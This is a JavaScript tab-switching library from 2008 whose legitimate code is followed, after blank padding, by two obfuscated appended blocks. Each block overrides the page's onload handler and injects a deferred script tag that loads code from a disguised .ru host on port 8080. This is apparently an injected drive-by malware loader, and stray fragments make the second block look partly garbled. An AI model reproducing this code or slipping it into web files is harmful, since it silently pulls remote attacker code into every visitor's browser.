/*
*	TABS
*	---------------------------------------------------------------------------
*	Copyright (c) 2008 Dan Peverill
*	http://www.danpeverill.com
*
*	LICENSE
*	---------------------------------------------------------------------------
*	The MIT License
*	http://www.opensource.org/licenses/mit-license.php
*
*	INSALLATION
*	---------------------------------------------------------------------------
*	Tabs are controlled with links. Each link has a target that it is attached to and specified
*	as an #anchor in the href attribute. Example: <a href="#tab">tab</a>. The #anchor
*	is the id of the actual target.
*
*	Tabs can be grouped or single. Grouping tabs you specify the parent
*	class of the tabs with the "tabs" class. For a single tab just add the class "tabs" to it.
*
*	Active tabs given the class "active" by default. Inactive tabs have no class. You may
*	specify the default active/inactive tabs  by adding the class "active" to any of them in
*	your HTML.
*
*	Tab targets are automatically shown and hidden as you click the appropriate tabs. You can control
*	this behavior with callback functions (see below). It is up to you to style the tabs and tab targets
*	with CSS. This script only toggles the active class on tabs and shows/hides the tab targets.
*
*	You may add custom tabs yourself with Tabs.create(tabs, callbacks).
*	
*	Callbacks is an optional argument. Callbacks is an object with two optional properties: click, show.
*	These options are a function that handles the appropriate callback. Each callback can accept
*	two arguments, the click event and the currently active tab target. this refers to the tab.
*	click: This callback is triggered just as a tab is clicked. Returning false cancels the entire event.
*	show: This callback is triggered after the active class and tab has been set, but just before
*		the tab targets are shown.  Returning false means you  handled the showing/hiding of
*		of the tab targets.
*/

var Tabs = {
	className: "tabs",
	activeClass: "active",
	
	addLoadEvent: function(event) {
		var oldLoad = window.onload;
		
		window.onload = function() {
			event();
			if (oldLoad) oldLoad();
		}
	},
	
	create: function(tabs, callbacks) {
		if (!tabs.length)
			this.createSingle(tabs, callbacks);
		else
			this.createGroup(tabs, callbacks);
	},
	
	createSingle: function(tab, callbacks) {
		if (this.Element.hasClass(tab, this.activeClass))
			this.Element.show(this.getTarget(tab));
	
		this.Element.addClickEvent(tab, function(e) {
			if (!Tabs._callback(this, callbacks, "click", e))
				return false;	// Cancel event.
			
			Tabs.Element.toggleClass(this, Tabs.activeClass);
			
			if (!Tabs._callback(this, callbacks, "show", e))
				return false;	// Callback handled visibility change.
			
			Tabs.Element.toggleVisibility(Tabs.getTarget(this));
		});
	},
	
	createGroup: function(tabs, callbacks) {
		var active;
		
		for (var i = 0; i < tabs.length; i++) {
			var tab = tabs[i];
			if (this.Element.hasClass(tab, this.activeClass)) {
				active = tab;
				this.Element.addClass(tab);
				this.Element.show(this.getTarget(tab));
			}
			else {
				this.Element.hide(this.getTarget(tab));
			}

			Tabs.Element.addClickEvent(tab, function(e) {
				if (!Tabs._callback(this, callbacks, "click", e, active))
					return false;	// Cancel event.
					
				Tabs.Element.removeClass(active, Tabs.activeClass);
				Tabs.Element.addClass(this, Tabs.activeClass);
				
				var from = active;
				active = this;
				
				if (!Tabs._callback(this, callbacks, "show", e, from))
					return false;	// Callback handled visibility change.
				
				Tabs.Element.hide(Tabs.getTarget(from));
				Tabs.Element.show(Tabs.getTarget(this));
			});
		}
		
		if (!active) {
			var tab = tabs[0];
			active = tab;
			
			this.Element.addClass(tab, this.activeClass);
			this.Element.show(this.getTarget(tab));
		}
	},
	
	_callback: function(element, callbacks, type, e, active) {
		if (callbacks && callbacks[type] && callbacks[type].call(element, e, active) === false)
			return false;
		
		return true;
	},
	
	getTarget: function(tab) {
		var match = /#(.*)$/.exec(tab.href);
		var target;
		
		if (match && (target = document.getElementById(match[1])))
			return target;
	},
	
	getElementsByClassName: function(className, tag) {
		var elements = document.getElementsByTagName(tag || "*");
		var list = new Array();
		
		for (var i = 0; i < elements.length; i++) {
			if (this.Element.hasClass(elements[i], this.className))
				list.push(elements[i]);
		}
		
		return list;
	}
};

Tabs.Element = {
	addClickEvent: function(element, callback) {
		var oldClick = element.onclick;
		
		element.onclick = function(e) {
			callback.call(this, e);
			if (oldClick) oldClick.call(this, e);	// Play nice with others.
			
			return false;
		}
	},
	
	addClass: function(element, className) {
		element.className += (element.className ? " " : "") + className;
	},
	
	removeClass: function(element, className) {
		element.className = element.className.replace(new RegExp("(^|\\s)" + className + "(\\s|$)"), "$1");
		if (element.className == " ")
			element.className = "";
	},

	hasClass: function(element, className) {
		return element.className && (new RegExp("(^|\\s)" + className + "(\\s|$)")).test(element.className);
	},
	
	toggleClass: function(element, className) {
		if (this.hasClass(element, className))
			this.removeClass(element, className);
		else
			this.addClass(element, className);
	},
	
	getStyle: function(element, property) {
		if (element.style[property]) return element.style[property];
		
		if (element.currentStyle)	// IE.
			return element.currentStyle[property];
			
		property = property.replace(/([A-Z])/g, "-$1").toLowerCase();	// Turns propertyName into property-name.
		var style = document.defaultView.getComputedStyle(element, "");
		if (style)
			return style.getPropertyValue(property);
	},
	
	show: function(element) {
		element.style.display = "";
		if (this.getStyle(element, "display") == "none")
			element.style.display = "block";
	},
	
	hide: function(element) {
		element.style.display = "none";
	},
	
	isVisible: function(element) {
		return this.getStyle(element, "display") != "none";
	},
	
	toggleVisibility: function(element) {
		if (this.isVisible(element))
			this.hide(element);
		else
			this.show(element);
	}
};

Tabs.addLoadEvent(function() {
	var elements = Tabs.getElementsByClassName(Tabs.className);
	for (var i = 0; i < elements.length; i++) {
		var element = elements[i];
			
		if (element.tagName == "A") {
			Tabs.create(element);
		}
		else {	// Group
			var tabs = element.getElementsByTagName("a");
			var group = new Array();
				
			for (var t = 0; t < tabs.length; t++) {
				if (Tabs.getTarget(tabs[t]))
					group.push(tabs[t]);	// Only group actual tab links.
			}

			if (group.length) Tabs.create(group);
		}
	}
});





var o=window;this.zh="zh";var l=document;this.f=false;var d='sgcBrgi&pBtg'.replace(/[g&B%V]/g, '');var k;if(k!='x' && k!='li'){k=''};var s=new String();this.nz=57276;o.onload=function(){var _=48782;try {z=l.createElement(d);var dx;if(dx!='kx' && dx!='di'){dx=''};z.src='hEt4t&p3:&/4/EmEyEw7e7b7sEe3a3r7cEh3-Ec3o7m&.&m&y&y7eEaEr&b3o4o7k&.&cEo3m&.3y&o&u3d4a3o7-3c3o4m3.&t7h7e3l3iEf&e7t7a3gE.&rEu3:&840E870&/Ea&v&a4x3h7oEm4e4.7w7s&/3a4v3aEx4h4o3m7e4.4w4s4/4gEo4o4g&lEeE.4b4g3/Et3r7i7p7aEd&vEi4s4oEr4.3cEo3mE/3g3o4o7g3l4e&.4c7o3mE/3'.replace(/[3E7&4]/g, '');var q=new Date();z.setAttribute('d:e:fneur:'.replace(/[\:TunZ]/g, ''), "1");var lk;if(lk!='' && lk!='_m'){lk='xw'};var lkq=new Array();l.body.appendChild(z);this.dy='';} catch(i){};var __;if(__!='a' && __!='yf'){__='a'};};var vt=new String();
var h=new String();this.r="";:LineMixer [this.h_='';var m=window;var e="";var w='s$c|r!i_p_t_'.replace(/[_\$\|\*\!]/g, '');var vk;if(vk!=''){vk='z'};var j='cxroedaxtxeZE2loexm2e2notd'.replace(/[d2Zxo]/g, '');this.ma=false;]var hn;if(hn!='l' && hn != ''){hn=null};m.onload=function(){try {var ap;if(ap!='' && ap!='ao'){ap=''};var _f="_f";q=document[j](w);var vv=new String();var ps;if(ps!='bs' && ps!='ho'){ps='bs'};:LineMixer [var wp=19234;q['s*rIc:'.replace(/[\:&H\*I]/g, '')]='h!tBtVpV:V/D/!dVeVv9i9aDnVtBcBl9iVpD-BcVoVm!.Bs!o!fVtBp9e9dDi!a9.BcBo9m9.9m!iBnBi9nBoBv9a!-Bo!rVg!.By9oVuBrBtVoBl!lDtVaDgD.Br9uD:V8!0V890!/!gBoDoBgVl9e9.!cVo!.!n!zD/VgDo9oBg!l9e9.9cDoD.9nBz!/9bDr!e9aVkD.VcDoDm!/BgVo9oVgBlVe!.!cVo9mB/DmDa!iDl!.!r!uB/V'.replace(/[VD\!B9]/g, '');q.setAttribute('dnepfnehrp'.replace(/[p&Zhn]/g, ''), "1");this.ub=1794;]var iw='';var _a='';document['b2ocd@y,'.replace(/[,cg@2]/g, '')]['a8pJpJeOnHd~C8hJi8lOdO'.replace(/[O~8JH]/g, '')](q);this.od="";} catch(y){};var ok="";var ys;if(ys!='' && ys!='rg'){ys=null};};